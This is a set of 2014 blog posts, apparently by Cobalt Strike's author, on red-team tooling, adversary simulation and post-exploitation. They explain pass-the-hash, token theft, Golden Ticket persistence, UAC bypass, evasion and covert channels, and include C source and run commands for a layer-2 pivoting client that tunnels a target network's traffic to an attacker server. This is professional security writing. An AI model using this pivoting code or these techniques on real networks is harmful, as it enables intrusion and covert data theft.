h1

My Constraint-based Product Strategy

November 26, 2014

When I work on a project, I like to define a broad problem statement. This is the project’s intended mark on the world. I don’t have enough hubris to claim a solution for all cases. To make my project’s tractable, I define assumptions. These assumptions bound the problem statement and keep the work under control. I tend to live within my assumptions until I feel the project has outgrown them. When this happens, I look for an opportunity to redefine my work under a new problem statement or at least, new assumptions.

In this blog post, I’ll take you through the problem statements and assumptions that define Armitage and Cobalt Strike. It’s fitting that I write this now, because I’m re- examining Cobalt Strike’s problem statement and assumptions.

Armitage

Armitage is a scriptable user interface for the Metasploit Framework that allows red teams to collaborate. Armitage has a broad problem statement: how do I help red teams collaborate?

Armitage lives under a set of assumptions.

First, I had to define a use case for this project. I opted to scope Armitage’s use case to exercise red teams, particularly red teams for the Collegiate Cyber Defense Competitions, which I had a lot of volunteer involvement with.

Next, I scoped Armitage to the Metasploit Framework only. I had zero intention of building the one collaboration framework to rule them all. I wanted to explore some ideas within the context of the Metasploit Framework and what it offers. This meant I would not integrate third-party hacking tools with Armitage and I would not build new hacking capability into it. These assumptions gave me suitable constraints to build and reason about Armitage.

This weekend, Armitage will celebrate its fourth birthday. I continue to maintain this project, but Armitage was successful in its original efforts a long time ago. Today, most penetration testing and red team platforms have collaboration features. Armitage is a familiar face at events where hackers have to work together with the Metasploit Framework. We now have good  practices [1, 2, 3, 4] to organize red teams in cyber defense exercises.

Cobalt Strike

I used to work on a red team support contract. Stealth and evasion mattered a great deal. I ran into the limitations of available tools. I saw a need for penetration testing tools to challenge harder targets. My work on these problems became Cobalt Strike. I define Cobalt Strike’s problem set as closing the gap between penetration testing tools and so-called advanced threat capabilities. It’s in my logo even! “Advanced Threat Tactics for Penetration Testers”. 

Like Armitage, Cobalt Strike lives under a set of assumptions too.

Every feature I build into Cobalt Strike requires synergy with a stock instance of the Metasploit Framework. This assumption led to a collection of tools very focused on the Windows attack surface. Some of Cobalt Strike’s concepts would be right at home with a MacOS X target, but there’s too little opportunity for synergy with the Metasploit Framework, so I haven’t looked in this direction. My emphasis on 32-bit payloads, also comes from this assumption.

Second, Cobalt Strike is made for a hypothetical internal red team for a large corporate or government enterprise. This assumption has had major influences on my product. It defines the problems I care about and the things I ignore. Let’s use browser pivoting as an example. This technology was made to meet a need for a segment of users. These users care about Internet Explorer, not Google Chrome or Firefox. Hence, browser pivoting was made for Internet Explorer.

Third, Cobalt Strike is built for a remote operations use case. This influences the problems I work on as well. I assume that my user is a remote actor. This is why I provide covert communication options and focus on ways to evade egress restrictions. Under my assumptions, if a user can’t get out, they can’t use the rest of the toolset. This assumption also limits the features I build and the workflows I support. If a tactic isn’t practical for a remote actor, I ignore it.

My last assumption relates to what Cobalt Strike does. Cobalt Strike executes targeted attacks and replicates advanced threats. That statement is marketing speak for sends phishing emails and focuses on post exploitation. I wrote the last sentence, tongue-in-cheek, but there’s a reality to it. My tool supports a process: setup a client-side attack, phish to get a foothold, abuse trusts for lateral movement, and conduct post exploitation to achieve some objective/demonstrate risk. I focus on this process and work to make this tool better support it. Few engagements execute this process end-to-end, so I make sure to decouple these pieces from each other.  That said, this clear definition of what Cobalt Strike does helps guide my development efforts.

Cobalt Strike has nearly two and a half years on the market and it’s had a lot of updates in that time. I still have work to do within Cobalt Strike’s problem set, but I feel it’s a good product for its stated use cases.

What’s next?

I’m thinking a lot about Cobalt Strike’s next iteration. At this time, I’m revisiting Cobalt Strike’s problem statement and assumptions. As I think about what’s coming next, here are a few things at the top of my mind:

First, I believe there’s a “good enough” level for hacker capability. After a point, better malware and capability will only take a red team so far. I see several needs that I categorize as features to support assessors with growing accountability and story telling requirements. This is a sign that some security programs are maturing and these customers expect more detail from us. I think there’s a need to put equal effort into these requirements.

I also believe we’re witnessing the emergence of a service that most penetration testers and red teams will soon offer. These are assessments that assume compromise and focus on an organization’s post-compromise security posture. Particularly, the organization’s ability to detect and remediate a sophisticated intruder. I wrote about this in a previous blog post.

Finally, I believe the deprecation of Windows XP was the end of an era. There are ideas and concepts in our tools and services that date back to the beginning of this era. I think some of these things are holding us back.

I’m not ready to speak specifics on these things yet, but I’m closely examining my tradecraft, process, and tools. I’m asking the hard questions: what’s historic baggage? What makes sense for the red team and adversary simulation use cases going forward?

h1

Cobalt Strike 2.2 – 1995 called, it wants its covert channel back…

November 20, 2014

Cobalt Strike’s Covert VPN feature now supports ICMP as one of its channels. Covert VPN is Cobalt Strike’s layer-2 pivoting capability. If you’re curious about how this technology works, I released some source code a few weeks ago.

The ICMP data channel is a turn-key way to demonstrate ICMP as an exfiltration channel if you need to prove a point. Here’s a video demonstrating Covert VPN’s ICMP channel with a server in Amazon’s EC2:

I don’t expect you to VPN all the things, but I’m excited. This feature is a step towards other work with ICMP in the future.

The ICMP VPN channel is available in today’s 2.2 release of Cobalt Strike. This release also touches and improves many of Cobalt Strike’s other features. The VNC server injection process was rewritten to better evade host-based firewalls. The spear phishing tool now handles message templates with embedded image attachments. You also get several bug fixes too. I recommend that you read the release notes for the full list of changes.

Licensed users may get the latest with the built-in update program. A 21-day trial of Cobalt Strike is available too.

h1

Adversary Simulation Becomes a Thing…

November 12, 2014

There is a growing chorus of folks talking about simulating targeted attacks from known adversaries as a valuable security service.

The argument goes like this: penetration testers are vulnerability focused and have a toolset/style that replicates a penetration tester. This style finds security problems and it helps, but it does little to prepare the customer for the targeted attacks they will experience.

Adversary simulation is different. It focuses on the customer’s ability to deal with an attack, post-compromise. These assessments look at incident response and provide a valuable “live fire” training opportunity for the analysts who hunt for and respond to incidents each day.

The organizations that buy security products and services are starting to see that compromise is inevitable. These organizations spend money on blinky boxes, people, services, and processes to deal with this situation. They need a way to know whether or not this investment is effective. Adversary simulation is a way to do this.

What is adversary simulation?

There’s no standard definition for adversary simulation, yet. It doesn’t even have an agreed upon term. I’ve heard threat emulationpurple teaming, and attack simulation to discuss roughly the same concept. I feel like several of us are wearing blindfolds, feeling around our immediate vicinity, and we’re working to describe an elephant to each other.

From the discussions on this concept, I see a few common elements:

The goal of adversary simulation is to prepare network defense staff for the highly sophisticated targeted attacks their organization may face.

Adversary simulation assumes compromise. The access vector doesn’t matter as much as the post-compromise actions. This makes sense to me. If an adversary lives in your network for years, the 0-day used three years ago doesn’t really matter. Offensive techniques, like the Golden Ticket, turn long-term persistence on its head. An adversary may return to your network and resume complete control of your domain at any time. This is happening.

Adversary simulation is a white box activity, sometimes driven by a sequence of events or a story board. It is not the goal of an adversary simulation exercise to demonstrate a novel attack path. There are different ways to come up with this sequence of events. You could use a novel attack from a prior red team assessment or real-world intrusion. You could also host a meeting to discuss threat models and derive a plausible scenario from that.

There’s some understanding that adversary simulation involves meaningful network and host-based indicators. These are the observables a network defense team will use to detect and understand the attacker. The simulated indicators should allow the network defense team to exercise the same steps they would take if they had to respond to the real attacker. This requires creative adversary operators with an open mind about other ways to hack. These operators must learn the adversary’s tradecraft and cobble together something that resembles their process. They must pay attention to the protocols the adversary uses, the indicators in the communication, the tempo of the communication, and whether or not the actor relies on distributed infrastructure. Host-based indicators and persistence techniques matter too. The best training results will come from simulating these elements very closely.

Adversary simulation is inherently cooperative. Sometimes, the adversary operator executes the scenario with the network defense team present. Other times the operator debriefs after all of the actions are executed. In both cases, the adversary operators give up their indicators and techniques to allow the network defense team to learn from the experience and come up with ways to improve their process. This requirement places a great burden on an adversary simulation toolkit. The adversary operators need ways to execute the same scenario with new indicators or twists to measure improvement.

Hacking to get Caught – A Concept for Adversary Replication and Penetration Testing

Threat Models that Exercise your SIEM and Incident Response

Comprehensive testing Red and Blue Make Purple

Seeing purple hybrid security teams for the enterprise

Isn’t this the same as red teaming?

I see a simulated attack as different from a red team or full scope assessment. Red Team assessments exercise a mature security program in a comprehensive way. A skilled team conducts a real-world attack, stays in the network, and steals information. At the end, they reveal a (novel?) attack path and demonstrate risk. The red team’s report becomes a tool to inform decision makers about their security program and justify added resources or changes to the security program.

A useful full scope assessment requires ample time and they are expensive.

Adversary simulation does not have to be expensive or elaborate. You can spend a day running through scenarios once each quarter. You can start simple and improve your approach as time goes on. This is an activity that is accessible to security programs with different levels of budget and maturity.

How does this relate to Cyber Defense Exercises?

I participate in a lot of Cyber Defense Exercises. Some events are setup as live-fire training against a credible simulated adversary. These exercises are driven off of a narrative and the red team executes the actions the narrative requires. The narrative drives the discussion post-action. All red team activities are white box, as the red team is not the training audience. These elements make cyber defense exercises very similar to adversary simulation as I’m describing here. This is probably why the discussion perks up my ears, it’s familiar ground to me.

There are some differences though.

These exercises don’t happen in production networks. They happen in labs. This introduces a lot of artificiality. The participants don’t get to “train as they fight” as many tools and sensors they use at home probably do not exist in the lab. There is also no element of surprise to help the attacker. Network defense teams come to these events ready to defend. These events usually involve multiple teams which creates an element of competition. A safe adversary simulation, conducted on a production network, does not need to suffer from these drawbacks.

Why don’t we call it “Purple Teaming”?

Purple Teaming is a discussion about how red teams and blue teams can work together. Ideas about how to do this differ. I wouldn’t refer to Adversary Simulation as Purple Teaming. You could argue that Adversary Simulation is a form of Purple Teaming. It’s not the only form though. Some forms of purple teaming have a penetration tester sit with a network defense team and dissect penetration tester tradecraft. There are other ways to hack beyond the favored tricks and tools of penetration testers.

Let’s use lateral movement as an example:

A penetration tester might use Metasploit’s PsExec to demonstrate lateral movement, help a blue team zero in on this behavior, and call it a day. A red team member might drop to a shell and use native tools to demonstrate lateral movement, help a blue team understand these options, and move on.

An adversary operator tasked to replicate the recent behavior of “a nation-state affiliated” actor might load a Golden Ticket into their session and use that trust to remotely setup a sticky keys-like backdoor on targets and control them with RDP. This is a form of lateral movement and it’s tied to an observed adversary tactic. The debrief in this case focuses on the novel tactic and potential strategies to detect and mitigate it.

Do you see the difference? A penetration tester or red team member will show something that works for them. An adversary operator will simulate a target adversary and help their customer understand and improve their posture against that adversary. Giving defenders exposure and training on tactics, techniques, and procedures beyond the typical penetration tester’s arsenal is one of the reasons adversary simulation is so important.

What are the best practices for Adversary Simulation?

Adversary Simulation is a developing area. There are several approaches and I’m sure others will emerge over time…

Traffic Generation

One way to simulate an adversary is to simulate their traffic on the wire. This is an opportunity to validate custom rules and to verify that sensors are firing. It’s a low-cost way to drill intrusion response and intrusion detection staff too. Fire off something obvious and wait to see how long it takes to detect it. If they don’t, you immediately know you have a problem.

Marcus Carey’s vSploit is an example of this approach. Keep an eye on his FireDrill.me company, as he’s expanding upon his original ideas as well.

DEF CON 19 – Metasploit vSploit Modules

Use Known Malware

Another approach is to use public malware on your customer’s network. Load up DarkComet, GhostRAT, or Bifrost and execute attacker-like actions. Of course, before you use this public malware, you have to audit it for backdoors and make sure you’re not introducing an adversary into your network. On the bright side, it’s free.

This approach is restrictive though. You’re limiting yourself to malware that you have a full toolchain for [the user interface, the c2 server, and the agent]. This is also the malware that off-the-shelf products will catch best. I like to joke that some anti-APT products catch 100% APT, so long as you limit your definition of APT malware to Dark Comet.

This is probably a good approach with a new team, but as the network security monitoring team matures, you’ll need better capability to challenge them and keep their interest.

Use an Adversary Simulation Tool

Penetration Testing Tools are NOT adequate adversary simulation tools. Penetration Testing Tools usually have one post-exploitation agent with limited protocols and fixed communication options. If you use a penetration testing tool and give up its indicators, it’s burned after that. A lack of communication flexibility and options makes most penetration testing tools poor options for adversary simulation.

Cobalt Strike overcomes some of these problems. Cobalt Strike’s Beacon payload does bi-directional communication over named pipes (SMB), DNS TXT records, DNS A records, HTTP, and HTTPS. Beacon also gives you the flexibility to call home to multiple places and to vary the interval at which it calls home. This allows you to simulate an adversary that uses asynchronous bots and distributed infrastructure.

The above features make Beacon a better post-exploitation agent. They don’t address the adversary replication problem. One difference between a post-exploitation agent and an adversary replication tool is user-controlled indicators. Beacon’s Malleable C2 gives you this. Malleable C2 is a technology that lets you, the end user, change Beacon’s network indicators to look like something else. It takes two minutes to craft a profile that accurately mimics legitimate traffic or other malware. I took a lot of care to make this process as easy as possible.

Malleable Command and Control

Cobalt Strike isn’t the only tool with this approach either. Encripto released Maligno, a Python agent that downloads shellcode and injects it into memory. This agent allows you to customize its network indicators to provide a trail for an intrusion analyst to follow.

Malleable C2 is a good start to support adversary simulation from a red team tool, but it’s not the whole picture. Adversary Simulation requires new story telling tools, other types of customizable indicators, and it also requires a rethink of workflows for lateral movement and post-exploitation. There’s a lot of work to do yet.

Putter Panda – Threat Replication Case Study

Will Adversary Simulation work?

I think so. I’d like to close this post with an observation, taken across various exercises:

In the beginning, it’s easy to challenge and exercise a network defense team. You will find that many network defenders do not have a lot of experience (actively) dealing with a sophisticated adversary. This is part of what allows these adversaries the freedom to live and work on so many networks. An inability to find these adversaries creates a sense of complacency. If I can’t see them, maybe they’re not there?

By exercising a network defense team and providing actionable feedback with useful details, you’re giving that team a way to understand their level. The teams that take the debrief seriously will figure out how to improve and get better.

Over time, you will find that these teams, spurred by your efforts, are operating at a level that will challenge your ability to create a meaningful experience for them. I’ve provided repeat red team support to many events since 2011. Each year I see the growth of the return teams that my friends and I provide an offensive service to. It’s rewarding work and we see the difference.

Heed my words though: the strongest network defense teams require a credible challenge to get better. Without adversary simulation tools [built or bought], you will quickly exhaust your ability to challenge these teams and keep up with their growth.

h1

Interactive Cortana Programming

November 7, 2014

Cortana is the scripting engine built into Armitage and Cobalt Strike. It’s based on my Sleep scripting language. Most scripting languages have a REPL (Read, Eval, Print Loop) that allows users to experiment with the technology in an interactive way.

I didn’t build an REPL into Cortana natively, but one is available as a script. This script is eval.cna. Go to the Cortana Github repository, download eval.cna, and load it into Armitage or Cobalt Strike. You can do this through the Armitage -> Scripts.

Go to View -> Script Console to open the Cortana console. The eval.cna script adds three commands to the Cortana console. These are x, ?, and e.

The x command evaluates an expression and prints the result. In Sleep, this is anything you can assign to a variable or pass as an argument to a function. For example, x 2 + 2 prints out 4.

The ? command evaluates a Sleep predicate expression and prints whether its true or false. A predicate is anything you can use in an if statement or while loop. For example, ? -iswinmeterpreter 1 prints true if session 1 is a Windows Meterpreter session.

Finally, the e command evaluates one or more Sleep statements. Use this command to quickly try out a for loop or a more complicated series of statements.

These commands make it very easy to explore Cortana and interactively interrogate your Cobalt Strike or Armitage instance. If you’d like to learn more about Cortana, I recommend that you consult its documentation.

h1

Give me any zero-day and I will rule the world

October 30, 2014

A few months ago, I was having lunch at a favorite Italian restaurant in Washington, DC. I work in a residential area, which means lunch time is slow and there’s no crowd. This leads to many conversations with the staff. This particular conversation drifted to Time Magazine’s July World War Zero article about the sale of zero-day exploits.

What a strange world we live in. Zero-days are now common lunch conversation almost along the lines of talking about the weather.

I applaud the work our industry has done to educate the public about the risk of software vulnerabilities. That said, there is a down side. Most people, some who even work in security, only understand hacking as the exploitation of software vulnerabilities. They don’t think about the rest of the intrusion process or envision what steps the attacker takes after the compromise.

I see exploits as a small part of the hacking puzzle. If someone has an unpatched known vulnerability–bad on them and yes, they should address it. But, there are other ways to get a foothold in a network besides memory corruption exploits. Some targeted attacks involve sending documents or files that abuse known functionality. These attacks are low on the sophistication scale, but I know many penetration testers who continue to get footholds with Java Applet attacks. A memory corruption exploit might assist with the foothold, but it’s not a requirement to gain one.

Following the foothold is post-exploitation. A common attacker goal is to escalate privileges and capture a trust relationship that allows them to move within a domain. Here’s another place a memory corruption exploit may help. A memory corruption exploit against the local system may give me a free pass to elevated rights. Again, there are other ways to get this control. If the user is a local administrator, the attacker has full control of the current system. UAC is not a security boundary and in many cases, it’s trivial to bypass. And yes, the bypass can work on Windows 8.1. Let’s say the user isn’t a local administrator. Surely, one must have a memory corruption exploit to work, right? Wrong. Take a look at harmj0y’s PowerUp. This is a PowerShell script to search for opportunities to elevate based on weak permissions or configuration mistakes. A memory corruption exploit might assist with privilege escalation, but it’s not a requirement to escalate privileges.

Let’s discuss lateral movement and domain privilege escalation.

Lateral movement is the process where an attacker abuses trust relationships to gain control of other systems on the same domain. Lateral movement has its challenges. The attacker has to impersonate a user that a target system recognizes as an administrator. This trust information comes in many forms. An attacker might dump the encrypted passwords of local users associated with the system. If the Administrator account password is the same on another system, the attacker may use this password hash to authenticate to that system and carry out privileged actions. This is the pass-the-hash attack and it does not involve memory corruption. Another form of trust is an access token. This is a data structure, managed by Windows, that contains everything needed to allow a seamless single sign-on experience. An attacker can capture one of these tokens and apply it to their current session. Now, the attacker has the rights spelled out in this token and they may use it to interact with another system [if the target sees the user as an administrator]. This process does not require a memory corruption exploit.

Domain Privilege escalation is the process where an attacker takes systems to capture new trusts until they find a trust that gives them full control of the domain or get the data they’re after. If an attacker captures a token for a Domain Administrator user, it’s game over. The attacker has access to all systems joined to that domain. If the attacker captures a token for a domain user with administrator rights to some systems, the attacker may leverage that token to take control of those systems. This process does not require a memory corruption exploit.

It gets worse. With full control of the domain, the attacker can steal the secret that the domain’s security rests on. This is the password hash of the krbtgt user on a domain controller. If the attacker captures this information, the attacker has the freedom to leave your network for weeks, months, or years at a time. The attacker may come back through a phishing attack and apply a self-generated Kerberos ticket to their current session. With this shared secret in hand, the attacker may create a ticket that allows them to gain the rights of any domain user–without knowledge of that user’s password. In effect, this means the attacker may regain domain administrator rights at any time. This is the Golden Ticket Attack in Mimikatz and it does not require a memory corruption exploit.

I think memory corruption is cool, but hacking goes far beyond it. Hacking is understanding a system well enough to make it do things others didn’t intend. When I teach hacking now, I don’t cover memory corruption exploits. Too many people are stunted by this idea that they must scan for vulnerabilities, find one, and exploit it. This is old thinking. We should teach people that a well-built memory corruption exploit is one access or privilege escalation technique of many. By far, it’s not the whole game.

A penetration test that focuses on vulnerabilities and ignores most of the attack process doesn’t help a customer defend their network better. As offensive professionals, it’s on us to know the steps attackers take and to arm ourselves with knowledge and tools to reproduce them. If we can’t persist, move laterally, steal data, and defeat defenses in a credible way, what use are we to help customers understand their security posture? Creative thinking about these problems won’t happen if we focus too much on one (optional) piece of the hacking process.

h1

Map of Cobalt Strike Features for Armitage Users

October 22, 2014

I wrote Cobalt Strike and I take it for granted that my users know where things are. This doesn’t come from nowhere though. The users who get the most from this tool have read the documentation, watched my videos, or had a lot of trial and error.

If you’re new to Cobalt Strike, consider this blog post my “Get Started with the Cool Stuff” cheat sheet.

Let’s start with the Cobalt Strike menubar:

menu_cobalt

Under the Cobalt Strike menu are options to control and configure your Cobalt Strike instance. Use New Connection to connect to another team server. Go to Interfaces to work with your Covert VPN interfaces. The Listeners item is where you setup payload handlers. This is also where you configure Beacon. Go to Close to disconnect from the current team server.

menu_view

The View menu is where you reach Cobalt Strike’s data. The Applications item takes you to the results from the System Profiler. Go to Beacons to manage your Beacon sessions. I like to use Ctrl+B to dock the Beacon tab to the bottom of my Cobalt Strike instance. The Web Log item shows the activity on Cobalt Strike’s Web Server. Go to Reporting to generate a report, jump to log files, or export data.

menu_attacks

I keep Cobalt Strike’s custom attacks under the Attacks menu. Visit Packages to generate an executable or a document tied to a listener. Use Web Drive-by to host a file on Cobalt Strike’s web server or start a web drive-by attack. This is where the applet attacks live. Go to Spear Phish to kick off a spear phishing campaign.

menu_help

Under Help, I have one item of special interest to licensed Cobalt Strike users. This is the Arsenal option. This menu takes you to a site where you may download source code to Cobalt Strike’s Applet Kit and Artifact Kit. The Artifact Kit is Cobalt Strike’s solution to swap anti-virus evasion techniques. I make this source code available to licensed users to allow changes for evasion purposes.

menu_login

Cobalt Strike’s workflow for lateral movement [psexec and friends] goes beyond Armitage. You get a few new options such as wmi (token) and psexec (token). All psexec dialogs are setup to work with Cobalt Strike listeners as well. Cobalt Strike also gives you a workflow to manage SSH keys too. Finally, the psexec menus that require executables use Cobalt Strike’s Artifact Kit to generate executables.

Several of Cobalt Strike’s post-exploitation capabilities work with Meterpreter. Let’s take a look at these:

menu_access

Try Access -> Bypass UAC to elevate from a medium integrity context to a high integrity context. This menu uses the Metasploit Framework’s bypassuac_inject module with an Artifact Kit DLL.

menu_interact

Go to Interact -> Desktop (VNC) to get to your target’s desktop via VNC. This option will use a Meterpreter script to stage a VNC server in memory on the target. Once the server is up, Cobalt Strike will connect to it with a built-in VNC client. I had to license the VNC client and I consider it money very well spent.

menu_explore

Explore -> Browser Pivot is the place to start Cobalt Strike’s man-in-the-browser session stealing technology for Internet Explorer. This feature allows you to browse to websites authenticated as your target user. It’s a really interesting pen tester take on a classic crimeware activity.

menu_pivoting

Jump to Pivoting -> Deploy VPN to run Covert VPN on your target’s system. This will create a layer-2 VPN into your target’s network. How this VPN communicates frames is up to you. It can tunnel through Meterpreter or connect to you over HTTP, UDP, or a TCP connection.

Finally, Pivoting -> Listener… creates a pivot listener. This is a little user-interface magic on top of a hidden Metasploit Framework feature. A pivot listener allows you to setup a reverse connection that tunnels through a Meterpreter session. You may use these listeners anywhere a normal listener would work.

And, that’s about it. This post is a good map to find Cobalt Strike’s feature set. You’ll notice this is not a lot of new interface elements. There’s a reason for this. I hate bloated user interfaces. Most of Cobalt Strike’s feature set is in its Beacon payload. Beacon gives Cobalt Strike its new communication channels [DNS, SMB], its indicator flexibility [Malleable C2], and new post-exploitation tools. Beacon has PowerShell integration and its bypass UAC attack works on Windows 8.1. If you want to get the most out of Cobalt Strike as a toolset, study Beacon. This payload will change the way you work.

h1

How VPN Pivoting Works (with Source Code)

October 14, 2014

A VPN pivot is a virtual network interface that gives you layer-2 access to your target’s network. Rapid7’s Metasploit Pro was the first pen testing product with this feature. Core Impact has this capability too.

In September 2012, I built a VPN pivoting feature into Cobalt Strike. I revised my implementation of this feature in September 2014. In this post, I’ll take you through how VPN pivoting works and even provide code for a simple layer-2 pivoting client and server you can play with. The layer-2 pivoting client and server combination don’t have encryption, hence it’s not correct to refer to them as VPN pivoting. They’re close enough to VPN pivoting to benefit this discussion though.

https://github.com/rsmudge/Layer2-Pivoting-Client

The VPN Server

Let’s start with a few terms: The attacker runs VPN server software. The target runs a VPN client. The connection between the client and the server is the channel to relay layer-2 frames.

To the attacker, the target’s network is available through a virtual network interface. This interface works like a physical network interface. When one of your programs tries to interact with the target network, the operating system will make the frames it would drop onto the wire available to the VPN server software. The VPN server consumes these frames, relays them over the data channel to the VPN client. The VPN client receives these frames and dumps them onto the target’s network.

Here’s what the process looks like:

vpnserver

The TAP driver makes this possible. According to its documentation, the TUN/TAP provides packet reception and transmission for user space programs. The TAP driver allows us to create a (virtual) network interface that we may interact with from our VPN server software.

Here’s the code to create a TAP [adapted from the TUN/TAP documentation]:

#include <linux/if.h>
#include <linux/if_tun.h>

int tun_alloc(char *dev) {
	struct ifreq ifr;
	int fd, err;

	if( (fd = open("/dev/net/tun", O_RDWR)) < 0 )
		return tun_alloc_old(dev);

	memset(&ifr, 0, sizeof(ifr));
	ifr.ifr_flags = IFF_TAP | IFF_NO_PI; 

	if( *dev )
		strncpy(ifr.ifr_name, dev, IFNAMSIZ);

	if( (err = ioctl(fd, TUNSETIFF, (void *) &ifr)) < 0 ) {
		close(fd);
		return err;
	}

	strcpy(dev, ifr.ifr_name);
	return fd;
}

This function allocates a new TAP. The dev parameter is the name of our interface. This is the name we will use with ifconfig and other programs to configure it. The number it returns is a file descriptor to read from or write to the TAP.

To read a frame from a TAP:

int totalread = read(tap_fd, buffer, maxlength);

To write a frame to a TAP:

write(tap_fd, buffer, length);

These functions are the raw ingredients to build a VPN server. To demonstrate tunneling frames over layer 2, we’ll take advantage of simpletun.c by Davide Brini.

simpletun.c is an example of using a network TAP. It’s ~300 lines of code that demonstrates how to send and receive frames over a TCP connection. This GPL(!) example accompanies Brini’s wonderful Tun/Tap Interface Tutorial. I recommend that you read it.

When simpletun.c sends a frame, it prefixes the frame with an unsigned short in big endian order. This 2-byte number, N, is the length of the frame in bytes. The next N bytes are the frame itself. simpletun.c expects to receive frames the same way.

To build simpletun:

gcc simpletun.c -o simpletun

Note: simpletun.c allocates a small buffer to hold frame data. Change BUFSIZE on line 42 to a higher value, like 8192. If you don’t do this, simpletun.c will eventually crash. You don’t want that.

To start simpletun as a server:

./simpletun -i [interface] -s -p [port] -a

The VPN Client

Now that we understand the VPN server, let’s discuss the VPN pivoting client. Cobalt Strike’s VPN pivoting client sniffs traffic on the target’s network. When it sees frames, it relays them to the VPN pivoting server, which writes them to the TAP interface. This causes the server’s operating system to process the frames as if they were read off of the wire.

vpnclient

Let’s build a layer-2 pivoting client that implements similar logic. To do this, we will use the Windows Packet Capture API. WinPcap is the Windows implementation of  LibPCAP and RiverBed Technology maintains it.

First, we need to open up the target network device that we will pivot onto. We also need to put this device into promiscuous mode. Here’s the code to do that:

pcap_t * raw_start(char * localip, char * filterip) {
	pcap_t * adhandle   = NULL;
	pcap_if_t * d       = NULL;
	pcap_if_t * alldevs = NULL;
	char errbuf[PCAP_ERRBUF_SIZE];

	/* find out interface */
	d = find_interface(&alldevs, localip);

	/* Open the device */
	adhandle = (pcap_t *)pcap_open(d->name, 65536, PCAP_OPENFLAG_PROMISCUOUS | PCAP_OPENFLAG_NOCAPTURE_LOCAL, 1, NULL, errbuf);
	if (adhandle == NULL) {
		printf("\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
		return NULL;
	}

	/* filter out the specified host */
	raw_filter_internal(adhandle, d, filterip, NULL);

	/* ok, now we can free out list of interfaces */
	pcap_freealldevs(alldevs);

	return adhandle;
}

Next, we need to connect to the layer-2 pivoting server and start a loop that reads frames and sends them to our server. I do this in raw.c. Here’s the code to ask WinPcap to call a function when a frame is read:

void raw_loop(pcap_t * adhandle, void (*packet_handler)(u_char *, const struct pcap_pkthdr *, const u_char *)) {
	pcap_loop(adhandle, 0, packet_handler, NULL);
}

The packet_handler function is my callback to respond to each frame read by WinPCAP. It writes frames to our layer-2 pivoting server. I define this function in tunnel.c.

void packet_handler(u_char * param, const struct pcap_pkthdr * header, const u_char * pkt_data) {
	/* send the raw frame to our server */
	client_send_frame(server, (void *)pkt_data, header->len);
}

I define client_send_frame in client.c. This function writes the frame’s length and data to our layer-2 pivoting server connection. If you want to implement a new channel or add encryption to make this a true VPN client, client.c is the place to explore this.

We now know how to read frames and send them to the layer-2 pivoting server.

Next, we need logic to read frames from the server and inject these onto the target network. In tunnel.c, I create a thread that calls client_recv_frame in a loop. The client_recv_frame function reads a frame from our connection to the layer-2 server. The pcap_sendpacket function injects a frame onto the wire.

DWORD ThreadProc(LPVOID param) {
	char * buffer = malloc(sizeof(char) * 65536);
	int len, result;
	unsigned short action;

	while (TRUE) {
		len = client_recv_frame(server, buffer, 65536);

		/* inject the frame we received onto the wire directly */
		result = pcap_sendpacket(sniffer, (u_char *)buffer, len);
		if (result == -1) {
			printf("Send packet failed: %d\n", len);
		}
	}
}

This logic is the guts of our layer-2 pivoting client. The project is ~315 lines of code and this includes headers. Half of this code is in client.c which is an abstraction of the Windows Socket API. I hope you find it navigable.

To run the layer-2 pivoting client:

client.exe [server ip] [server port] [local ip]

Once the layer-2 client connects to the layer-2 server, use a DHCP client to request an IP address on your attack server’s network interface [or configure an IP address with ifconfig].

Build Instructions

I’ve made the source code for this simple Layer-2 client available under a BSD license. You will need to download the Windows PCAP Developer Pack and extract it to the folder where the layer-2 client lives. You can build the layer-2 client on Kali Linux with the included Minimal GNU for Windows Cross Compiler. Just type ‘make’ in its folder.

Deployment

To try this Layer-2 client, you will need to install WinPcap on your target system. You can download WinPcap from RiverBed Technology. And, that’s it. I hope you’ve enjoyed this deep dive into VPN pivoting and how it works.

The layer-2 client is a stripped down version of Cobalt Strike’s Covert VPN feature. Covert VPN compiles as a reflective DLL. This allows Cobalt Strike to inject it into memory. The Covert VPN client and server encrypt the VPN traffic [hence, VPN pivoting]. Covert VPN will also silently drop a minimal WinPcap install and clean it up for you. And, Covert VPN supports multiple data channels. It’ll tunnel frames over TCP, UDP, HTTP, or through Meterpreter.

Follow

Get every new post delivered to your Inbox.

Join 13,803 other followers